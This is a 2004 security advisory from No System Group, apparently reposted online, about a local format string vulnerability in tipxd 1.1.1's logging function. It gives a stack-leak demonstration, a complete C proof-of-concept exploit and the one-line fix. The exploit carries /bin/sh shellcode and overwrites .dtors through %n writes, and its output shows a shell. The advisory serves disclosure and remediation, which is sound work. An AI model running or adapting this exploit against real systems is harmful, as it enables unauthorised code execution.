08 - tipxd <= 1.1.1 Format String Vulnerability

eZine lover (@eZine)

Published in

Advisory

· 1 year ago

No System Group - Advisory #08 - 15/11/04

Program: Tom's IPX Tunneling Daemon - TipxD
Homepage: http://tipxd.sourceforge.net
Vulnerable Versions: TipxD 1.1.1 and prior
Risk: Low
Impact: Local Format String Vulnerability

DESCRIPTION

tipxd is an IPX tunneling daemon which snoops on a local network for IPX 802.3 traffic, packages it and sends it over one or many TCP/IP connections to tipxd running on remote machines where it is unpacked and sent via the local network. To the IPX networks, it then appears that the LANs are joined. This is a request for testing and big-finding. It is intended for playing IPX based games where the remote machines are joined only by a TCP/IP network, and typically when the the gaming machines are each behind a firewall.

More informations at: http://tipxd.sourceforge.net

DETAILS

tipxd is affected by a format string bug in the tipxd_log() function to 61 lines of src/log.c code:

--- log.c --- 
45: void tipxd_log(int priority, char *format, ...  ) 
46: { 
47:    va_list ap; 
48:    char log_entry[LOG_ENTRY_SIZE]; 
49: 
50:    /* Take the format and variables and expand them out into a string, 
51:       so that we can pass it on to syslog if necessary. No buffer overflow, 
52:       aren't I good? :) 
53:    */ 
54:    va_start(ap,format); 
55:    vsnprintf(log_entry,LOG_ENTRY_SIZE-1,format,ap); 
56: 
57:    if (sysinfo.opt_flags & OPT_STDERR) { 
58: /* To do: add something useful like timestamping instead of silly pre-identifie 
59:        fprintf(stderr,"[TIPXD LOG] %s\n",log_entry); 
60:    } else { 
61:        syslog(priority,log_entry); // The format bug 
62:    } 
63: 
64:    return; 
65: } 
--- log.c ---

We can show some parts of the stack memory by using a format string like this:

coki@servidor:~$ tipxd -C AAAA%08x 
Unable to open configuration file : No such file or directory 

coki@servidor:~$ tail -n 1 /var/log/messages 
Nov 15 11:03:40 servidor tipxd[8360]: Config file is AAAA0804c8d7 
coki@servidor:~$

EXPLOIT

------------------ tipxd_exp.c ------------------ 
/* tipxd_exp.c 

   TipxD Format String Vulnerability 

   TipxD <= 1.1.1 local exploit (Proof of Concept) 

   Tested in Slackware 9.0 / 9.1 / 10.0 

   by CoKi <coki@nosystem.com.ar> 
   No System Group - http://www.nosystem.com.ar 
*/ 

#include <stdio.h> 
#include <string.h> 

#define PATH "/bin/tipxd" 
#define OBJDUMP "/usr/bin/objdump" 
#define GREP "/usr/bin/grep" 

unsigned char shellcode[]=  /* aleph1 shellcode.45b */ 
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" 
	"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" 
	"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" 
	"\x2f\x73\x68"; 

int check(unsigned long addr); 

int main(int argc, char *argv[]) { 

	int i, dtorsaddr; 
	unsigned int bal1, bal2, bal3, bal4; 
	char temp[512]; 
	char buffer[1024]; 
	char nop1[255], nop2[255]; 
	char nop3[255], nop4[255]; 
	int cn1, cn2, cn3, cn4; 
	FILE *f; 
	char *env[3] = {shellcode, NULL}; 
	int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH); 

	/* finding .dtors address */ 
	sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP); 
	f = popen(temp, "r"); 
	if(fscanf(f, " %08x", &dtorsaddr) != 1) { 
		pclose(f); 
		printf("Cannot find .dtors address\n"); 
		exit(1); 
	} 
	pclose(f); 
	dtorsaddr = dtorsaddr + 4; 

	printf("\n TipxD <= 1.1.1 local exploit (Proof of Concept)\n"); 
	printf(" by CoKi <coki@nosystem.com.ar>\n\n"); 
	printf(" shellcode address = %.8p\n", shaddr); 
	printf(" .dtors address    = %.8p\n\n", dtorsaddr); 

	bzero(temp, sizeof(temp)); 
	bzero(buffer, sizeof(buffer)); 

	strcat(buffer, "x"); 

	/* adding .dtors address */ 
	for(i = 0; i < 4; i++) { 
		bzero(temp, sizeof(temp)); 
		sprintf(temp, "%s", &dtorsaddr); 
		strncat(buffer, temp, 4); 
		dtorsaddr++; 
	} 

	/* convert shellcode address location */ 
	memset(nop1, 0, 255); 
	memset(nop2, 0, 255); 
	memset(nop3, 0, 255); 
	memset(nop4, 0, 255); 

	bal1 = (shaddr & 0xff000000) >> 24; 
	bal2 = (shaddr & 0x00ff0000) >> 16; 
	bal3 = (shaddr & 0x0000ff00) >>  8; 
	bal4 = (shaddr & 0x000000ff); 

	cn1 = bal4 - 16 - 15 - 48 - 2 -1; 
	cn1 = check(cn1); 
	cn2 = bal3 - bal4 - 2; 
	cn2 = check(cn2); 
	cn3 = bal2 - bal3 - 2; 
	cn3 = check(cn3); 
	cn4 = bal1 - bal2 - 2; 
	cn4 = check(cn4); 

	memset(nop1, '\x90', cn1); 
	memset(nop2, '\x90', cn2); 
	memset(nop3, '\x90', cn3); 
	memset(nop4, '\x90', cn4); 

	sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x" 
	              "%s\xeb\x02%%n" 
	              "%s\xeb\x02%%n" 
	              "%s\xeb\x02%%n" 
	              "%s\xeb\x02%%n\x90\x90\x90\x90" 
	              ,nop1, nop2, nop3, nop4); 

	strcat(buffer, temp); 

	execle(PATH, "tipxd", "-f", buffer, NULL, env); 
} 

int check(unsigned long addr) { 
	char tmp[128]; 
	snprintf(tmp, sizeof(tmp), "%d", addr); 
	if(atoi(tmp) < 1) 
		addr = addr + 256; 

	return addr; 
} 

---------------- cherokee_exp.c ----------------- 

coki@servidor:~$ make tipxd_exp 
coki@servidor:~$ ./tipxd_exp 

 tipxd local exploit (Proof of Concept) 
 by CoKi <coki@nosystem.com.ar> 

 shellcode address = 0xbfffffa7 
 .dtors address    = 0x0804fbe0

Unable to open configuration file : File name too long

sh-2.05b$

This exploit does not give a root shell :(

SOLUTIONS

Change the tipxd_log() function of src/log.c code:

--- log.c --- 
45: void tipxd_log(int priority, char *format, ...  ) 
46: { 
47:    va_list ap; 
48:    char log_entry[LOG_ENTRY_SIZE]; 
49: 
50:    /* Take the format and variables and expand them out into a string, 
51:       so that we can pass it on to syslog if necessary. No buffer overflow, 
52:       aren't I good? :) 
53:    */ 
54:    va_start(ap,format); 
55:    vsnprintf(log_entry,LOG_ENTRY_SIZE-1,format,ap); 
56: 
57:    if (sysinfo.opt_flags & OPT_STDERR) { 
58: /* To do: add something useful like timestamping instead of silly pre-identifie 
59:        fprintf(stderr,"[TIPXD LOG] %s\n",log_entry); 
60:    } else { 
61:        syslog(priority,"%s",log_entry); // The fix 
62:    } 
63: 
64:    return; 
65: } 
--- log.c ---